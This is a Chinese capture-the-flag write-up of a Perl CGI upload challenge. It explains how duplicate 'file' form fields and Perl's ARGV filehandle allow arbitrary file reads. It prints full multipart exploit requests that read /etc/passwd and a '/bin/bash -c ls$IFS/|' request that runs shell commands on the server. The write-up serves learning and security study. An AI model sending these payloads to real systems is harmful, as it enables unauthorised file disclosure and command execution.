这道题是道关于perl的题目
    打开题目有三个链接image.png
    Hello World没有任何利用的点,Forms里有一个xss,但是也拿不到flag。
    接着看最后一个Files:
    image.png
    随便传一个文件看看什么效果:
    image.png
    可以看到,网页将上传上去的东西以字符串形式打印出来,抓包也没看出来有什么东西,看WP去。

    这道题实际上是利用了The Perl Jam 2: The Camel Strikes Back这个视频中的一个perl的漏洞。
    首先贴出来后端代码:

    1. print "$cgi->upload('file')" //输出文件句柄
    2. if ($cgi->upload('file')) {
    3. my $file = $cgi->param('file');
    4. print "$file"; //输出上传的文件名
    5. while (<$file>) {
    6. print "$_";
    7. print "<br />";
    8. }
    9. }

    首先看第一句,$cgi->upload('file')
    image.png
    这是视频中的解释,翻译过来就是$cgi->upload('file')这个函数会验证提交表单的file参数中的其中一项是否是上传文件。例如下面的提交表单:

    1. ------WebKitFormBoundaryA4QshN1AQ30b8dMk
    2. Content-Disposition: form-data; name="file"; filename="1.pl"
    3. Content-Type: application/octet-stream
    4. ARGV
    5. ------WebKitFormBoundaryA4QshN1AQ30b8dMk
    6. Content-Disposition: form-data; name="Submit!"
    7. Submit!
    8. ------WebKitFormBoundaryA4QshN1AQ30b8dMk--

    这是正常的提交表单,name为file,filename是上传的文件名,是符合表单的结构的,可以提交成功,并且在返回的内容中,也可以看到文件的句柄以及文件名:
    image.png
    接着如果再增加一项上传项会发生什么?

    1. ------WebKitFormBoundaryA4QshN1AQ30b8dMk
    2. Content-Disposition: form-data; name="file";
    3. Content-Type: application/octet-stream
    4. ARGV
    5. ------WebKitFormBoundaryA4QshN1AQ30b8dMk
    6. Content-Disposition: form-data; name="file"; filename="1.pl"
    7. Content-Type: application/octet-stream
    8. ARGV
    9. ------WebKitFormBoundaryA4QshN1AQ30b8dMk
    10. Content-Disposition: form-data; name="Submit!"
    11. Submit!
    12. ------WebKitFormBoundaryA4QshN1AQ30b8dMk--

    可以看到有两项上传项,其中第一项是没有filename的,单独上传$cgi->upload('file')会无法正常取得句柄,验证失败。
    但是假如还有一项正常的上传项,那么$cgi->upload('file')就会得到正常的文件句柄。
    image.png
    这是只有一项的结果,可以看到返回内容中没有文件名,没有通过if判断。
    image.png
    这是有两个上传项的抓包内容,可以得出,就算上传多个拥有相同参数的上传项,上传代码依旧工作。

    但是仔细看发现,返回内容并没有返回1.pl这个文件名,而是返回了456,也就是第一个上传项的上传内容,这个就是代码中的第二个漏洞点:
    my $file = $cgi->param('file');
    视频中的解释:
    image.png
    也就是说,$cgi->param('file')返回一个列表,列表的内容是所有参数为file的上传项的文件名(filename)。最后将得到的列表传给$file,而$file里面只会存入列表中的第一项的上传内容。
    而当第一个上传项没有filename参数时,会将第一个上传项的文件内容识别成filename。
    再看最后的一个漏洞点:

    1. while (<$file>) {
    2. print "$_";
    3. print "<br />";
    4. }

    <>类似于c的stdin,也就是说他从$file中得到内容,后面的 print "$_";输出$file的内容。
    而上面提到了,$file是可控的,所以只要传入路径就可以读取到相应的内容了吗?
    并不是,<>解析后只会将其作为字符串处理,除非是ARGV。
    ARGV就相当于C语言的argv[],通过ARGV可以得到perl脚本后面的参数,于是便可以构造payload:

    1. POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1
    2. ------WebKitFormBoundaryUHh694LAIn948tMt
    3. Content-Disposition: form-data; name="file";
    4. Content-Type: image/png
    5. ARGV
    6. ------WebKitFormBoundaryUHh694LAIn948tMt
    7. Content-Disposition: form-data; name="file"; filename="test"
    8. Content-Type: image/png
    9. test
    10. ------WebKitFormBoundaryUHh694LAIn948tMt
    11. Content-Disposition: form-data; name="Submit!"
    12. Submit!
    13. ------WebKitFormBoundaryUHh694LAIn948tMt--

    得到返回结果
    image.png
    那么最后就剩下猜flag位置,但一般来说猜不到,所以要用一些小技巧:

    1. POST /cgi-bin/file.pl?/bin/bash%20-c%20ls$IFS/| HTTP/1.1

    image.png可以看到有flag,读取完事。